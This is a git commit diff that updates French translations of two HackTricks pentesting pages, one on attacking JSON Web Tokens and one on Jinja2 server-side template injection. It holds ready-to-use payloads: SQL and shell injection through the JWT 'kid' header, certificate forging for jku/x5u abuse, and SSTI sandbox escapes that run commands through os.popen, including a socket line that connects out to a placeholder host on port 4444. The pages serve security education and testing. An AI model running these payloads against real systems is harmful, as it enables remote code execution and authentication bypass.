Translated ['pentesting-web/hacking-jwt-json-web-tokens.md', 'pentesting

This commit is contained in:
Translator 2024-04-01 16:04:30 +00:00
parent b3cee3ab0e
commit 743b8879e4
2 changed files with 42 additions and 34 deletions

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
@ -16,12 +16,12 @@ Autres façons de soutenir HackTricks :
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
{% embed url="https://www.stmcyber.com/careers" %}
**Une partie de ce post est basée sur l'excellent post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Auteur de l'outil génial pour le pentest des JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
**Une partie de ce post est basée sur le super post :** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**Auteur de l'excellent outil pour pentester les JWTs** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Gains Rapides**
@ -48,7 +48,7 @@ Vous pouvez simplement manipuler les données en laissant la signature telle que
Pour vérifier si la signature d'un JWT est vérifiée :
* Un message d'erreur suggère une vérification en cours ; les détails sensibles dans les erreurs verbeuses doivent être examinés.
* Un changement dans la page renvoyée indique également une vérification.
* Un changement dans la page renvoyée indique une vérification.
* Aucun changement ne suggère aucune vérification ; c'est le moment d'expérimenter en altérant les revendications de la charge utile.
### Origine
@ -62,7 +62,7 @@ Il est important de déterminer si le jeton a été généré côté serveur ou
Vérifiez si le jeton dure plus de 24h... peut-être n'expire-t-il jamais. S'il y a un champ "exp", vérifiez si le serveur le gère correctement.
### Force brute du secret HMAC
### Brute-force du secret HMAC
[**Voir cette page.**](../generic-methodologies-and-resources/brute-force.md#jwt)
@ -93,13 +93,13 @@ Cela peut être fait avec l'extension Burp "JSON Web Tokens".\
### Contrefaçon de JWKS
Les instructions détaillent une méthode pour évaluer la sécurité des jetons JWT, en particulier ceux utilisant une revendication d'en-tête "jku". Cette revendication devrait être liée à un fichier JWKS (JSON Web Key Set) contenant la clé publique nécessaire à la vérification du jeton.
Les instructions détaillent une méthode pour évaluer la sécurité des jetons JWT, en particulier ceux utilisant une revendication d'en-tête "jku". Cette revendication devrait être liée à un fichier JWKS (Jeu de clés Web JSON) contenant la clé publique nécessaire à la vérification du jeton.
* **Évaluation des jetons avec l'en-tête "jku"**:
* Vérifiez l'URL de la revendication "jku" pour vous assurer qu'elle mène au fichier JWKS approprié.
* Modifiez la valeur "jku" du jeton pour diriger vers un service web contrôlé, permettant l'observation du trafic.
* **Surveillance de l'interaction HTTP**:
* Observer les requêtes HTTP vers l'URL spécifiée indique les tentatives du serveur pour récupérer les clés à partir de votre lien fourni.
* **Surveillance des interactions HTTP**:
* Observer les requêtes HTTP vers l'URL spécifiée indique les tentatives du serveur pour récupérer les clés à partir du lien fourni.
* Lors de l'utilisation de `jwt_tool` pour ce processus, il est crucial de mettre à jour le fichier `jwtconf.ini` avec l'emplacement de votre JWKS personnel pour faciliter les tests.
* **Commande pour `jwt_tool`**:
* Exécutez la commande suivante pour simuler le scénario avec `jwt_tool`:
@ -114,7 +114,7 @@ Une revendication d'en-tête facultative appelée `kid` est utilisée pour ident
#### Révélation de la clé via "kid"
Lorsque la revendication `kid` est présente dans l'en-tête, il est conseillé de rechercher le répertoire web pour le fichier correspondant ou ses variations. Par exemple, si `"kid":"key/12345"` est spécifié, les fichiers _/key/12345_ et _/key/12345.pem_ devraient être recherchés dans la racine du site web.
Lorsque la revendication `kid` est présente dans l'en-tête, il est conseillé de rechercher le répertoire web pour le fichier correspondant ou ses variations. Par exemple, si `"kid":"key/12345"` est spécifié, les fichiers _/key/12345_ et _/key/12345.pem_ doivent être recherchés dans la racine du site web.
#### Traversée de chemin avec "kid"
@ -126,7 +126,7 @@ En ciblant des fichiers avec un contenu prévisible, il est possible de falsifie
#### Injection SQL via "kid"
Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe depuis une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile de `kid`. Un exemple de charge utile qui utilise une injection SQL pour modifier le processus de signature JWT est :
Si le contenu de la revendication `kid` est utilisé pour récupérer un mot de passe depuis une base de données, une injection SQL pourrait être facilitée en modifiant la charge utile `kid`. Un exemple de charge utile qui utilise une injection SQL pour modifier le processus de signature JWT est :
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
@ -134,7 +134,7 @@ Cette modification force l'utilisation d'une clé secrète connue, `ATTACKER`, p
#### Injection OS via "kid"
Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait entraîner des vulnérabilités d'exécution de code à distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour atteindre une RCE et l'exposition de clés est :
Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dans un contexte d'exécution de commande pourrait entraîner des vulnérabilités d'Exécution de Code à Distance (RCE). En injectant des commandes dans le paramètre `kid`, il est possible d'exposer des clés privées. Un exemple de charge utile pour atteindre une RCE et l'exposition de clés est :
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -143,7 +143,7 @@ Un scénario où le paramètre `kid` spécifie un chemin de fichier utilisé dan
#### jku
jku signifie **URL de jeu de clés JWK**.\
Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Manipulez le jeton pour pointer la valeur jku vers un service Web dont vous pouvez surveiller le trafic.
Si le jeton utilise une revendication d'en-tête "**jku**", **vérifiez l'URL fournie**. Cela devrait pointer vers une URL contenant le fichier JWKS qui détient la clé publique pour vérifier le jeton. Manipulez le jeton pour pointer la valeur jku vers un service web dont vous pouvez surveiller le trafic.
Tout d'abord, vous devez créer un nouveau certificat avec de nouvelles clés privées et publiques.
```bash
@ -164,7 +164,7 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés sous forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 52807. Une sécurité de transport est requise pour transférer les certificats.
X.509 URL. Un URI pointant vers un ensemble de certificats publics X.509 (un standard de format de certificat) encodés sous forme PEM. Le premier certificat de l'ensemble doit être celui utilisé pour signer ce JWT. Les certificats suivants signent chacun le précédent, complétant ainsi la chaîne de certificats. X.509 est défini dans la RFC 5280. Une sécurité de transport est requise pour transférer les certificats.
Essayez de **modifier cet en-tête pour qu'il pointe vers une URL sous votre contrôle** et vérifiez si une requête est reçue. Dans ce cas, vous **pourriez altérer le JWT**.
@ -173,11 +173,11 @@ Pour falsifier un nouveau jeton en utilisant un certificat contrôlé par vous,
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé**.
Ensuite, vous pouvez utiliser par exemple [**jwt.io**](https://jwt.io) pour créer le nouveau JWT avec les **clés publiques et privées créées et en pointant le paramètre x5u vers le certificat .crt créé.**
![](<../.gitbook/assets/image (439).png>)
Vous pouvez également abuser de ces deux vulnérabilités **pour les SSRF**.
Vous pouvez également abuser de ces deux vulnérabilités **pour les SSRFs**.
#### x5c
@ -206,7 +206,7 @@ const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
```
Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique à l'intérieur du jeton et l'utiliser pour générer une nouvelle signature :
Il est possible de générer une nouvelle clé privée/publique, d'incorporer la nouvelle clé publique à l'intérieur du jeton et de l'utiliser pour générer une nouvelle signature :
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -222,20 +222,24 @@ const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
```
Enfin, en utilisant la clé publique et privée et les nouvelles valeurs "n" et "e", vous pouvez utiliser [jwt.io](https://jwt.io) pour forger un nouveau JWT valide avec n'importe quelle information.
### ES256: Révéler la clé privée avec le même nonce
Si certaines applications utilisent ES256 et utilisent le même nonce pour générer deux JWT, la clé privée peut être récupérée.
Voici un exemple: [ECDSA: Révéler la clé privée, si le même nonce est utilisé (avec SECP256k1)](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
La revendication JTI (JWT ID) fournit un identifiant unique pour un jeton JWT. Il peut être utilisé pour empêcher le jeton d'être rejoué.\
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant d'envoyer 10000 requêtes entre chaque rejou réussi).
Cependant, imaginez une situation où la longueur maximale de l'ID est de 4 (0001-9999). Les requêtes 0001 et 10001 vont utiliser le même ID. Donc, si le backend incrémente l'ID à chaque requête, vous pourriez abuser de cela pour **rejouer une requête** (nécessitant d'envoyer 10000 requêtes entre chaque rejoue réussi).
### Revendications enregistrées JWT
### Réclamations enregistrées JWT
{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}
### Autres attaques
**Attaques de relais inter-services**
**Attaques de relais entre services**
Il a été observé que certaines applications web s'appuient sur un service JWT de confiance pour la génération et la gestion de leurs jetons. Des cas ont été enregistrés où un jeton, généré pour un client par le service JWT, a été accepté par un autre client du même service JWT. Si l'émission ou le renouvellement d'un JWT via un service tiers est observé, la possibilité de s'inscrire à un compte sur un autre client de ce service en utilisant le même nom d'utilisateur/email devrait être investiguée. Une tentative devrait ensuite être faite pour rejouer le jeton obtenu dans une requête vers la cible pour voir s'il est accepté.
@ -243,7 +247,7 @@ Il a été observé que certaines applications web s'appuient sur un service JWT
**Vérification de l'expiration des jetons**
L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. La RFC JWT recommande de mitiger les attaques de rejouement JWT en utilisant la revendication "exp" pour définir un temps d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le temps d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool.
L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp". Étant donné que les JWT sont souvent utilisés sans information de session, une manipulation prudente est requise. Dans de nombreux cas, capturer et rejouer le JWT d'un autre utilisateur pourrait permettre l'usurpation de cet utilisateur. La RFC JWT recommande de lutter contre les attaques de rejouement JWT en utilisant la revendication "exp" pour définir une heure d'expiration pour le jeton. De plus, la mise en œuvre de vérifications pertinentes par l'application pour garantir le traitement de cette valeur et le rejet des jetons expirés est crucial. Si le jeton inclut une revendication "exp" et que les limites de temps de test le permettent, il est conseillé de stocker le jeton et de le rejouer après que le délai d'expiration soit passé. Le contenu du jeton, y compris l'analyse de l'horodatage et la vérification de l'expiration (horodatage en UTC), peut être lu en utilisant le drapeau -R de l'outil jwt\_tool.
* Un risque de sécurité peut être présent si l'application valide toujours le jeton, car cela pourrait impliquer que le jeton ne pourrait jamais expirer.
@ -253,7 +257,7 @@ L'expiration du jeton est vérifiée en utilisant la revendication Payload "exp"
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -261,12 +265,12 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [groupe telegram](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [@carlospolopm](https://twitter.com/hacktricks_live)**.**
* **Rejoignez** 💬 [**le groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -65,7 +65,7 @@ Tout d'abord, dans une injection Jinja, vous devez **trouver un moyen de vous é
### Accès aux objets globaux
Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement Python non-sécurisé** et seront **accessibles** à l'intérieur de l'**environnement sécurisé**.\
Par exemple, dans le code `render_template("hello.html", username=username, email=email)` les objets username et email **proviennent de l'environnement Python non sécurisé** et seront **accessibles** à l'intérieur de l'**environnement sécurisé**.\
De plus, il existe d'autres objets qui seront **toujours accessibles depuis l'environnement sécurisé**, ce sont:
```
[]
@ -79,7 +79,7 @@ request
Ensuite, à partir de ces objets, nous devons accéder à la classe : **`<class 'object'>`** afin de tenter de **récupérer** les **classes** définies. Cela est nécessaire car à partir de cet objet, nous pouvons appeler la méthode **`__subclasses__`** et **accéder à toutes les classes de l'environnement python non sandboxé**.
Pour accéder à cette **classe objet**, vous devez **accéder à un objet de classe** puis accéder à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous devons **appeler** **`__subclasses__()`**.
Pour accéder à cette **classe objet**, vous devez **accéder à un objet de classe** puis accéder à **`__base__`**, **`__mro__()[-1]`** ou `.`**`mro()[-1]`**. Ensuite, **après** avoir atteint cette **classe objet**, nous **appelons** **`__subclasses__()`**.
Consultez ces exemples :
```python
@ -138,8 +138,10 @@ L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des cen
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Calling os.popen without guessing the index of the class
# Without '{{' and '}}'
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() == 'chiv' %} a {% endif %}
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
@ -148,6 +150,8 @@ L'appel à `__subclasses__` nous a donné l'opportunité d'**accéder à des cen
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```
Pour en savoir plus sur **davantage de classes** que vous pouvez utiliser pour **échapper**, vous pouvez **vérifier**:
@ -194,7 +198,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
**Éviter l'encodage HTML**
Par défaut, Flask encode en HTML tout ce qui se trouve à l'intérieur d'un modèle pour des raisons de sécurité:
Par défaut, Flask encode en HTML tout l'intérieur d'un modèle pour des raisons de sécurité:
```python
{{'<script>alert(1);</script>'}}
#will be
@ -231,7 +235,7 @@ Sans **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
À partir des [**objets globaux**](jinja2-ssti.md#accessing-global-objects), il existe une autre façon d'obtenir une **RCE sans utiliser cette classe.**\
Si vous parvenez à accéder à une **fonction** à partir de ces objets globaux, vous pourrez accéder à **`__globals__.__builtins__`** et à partir de là, la **RCE** est très **simple**.
Vous pouvez **trouver des fonctions** à partir des objets **`request`**, **`config`** et tout **autre** objet **global** intéressant auquel vous avez accès avec :
Vous pouvez **trouver des fonctions** à partir des objets **`request`**, **`config`** et de tout autre **objet global** intéressant auquel vous avez accès avec :
```bash
{{ request.__class__.__dict__ }}
- application
@ -281,7 +285,7 @@ Une fois que vous avez trouvé certaines fonctions, vous pouvez récupérer les
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :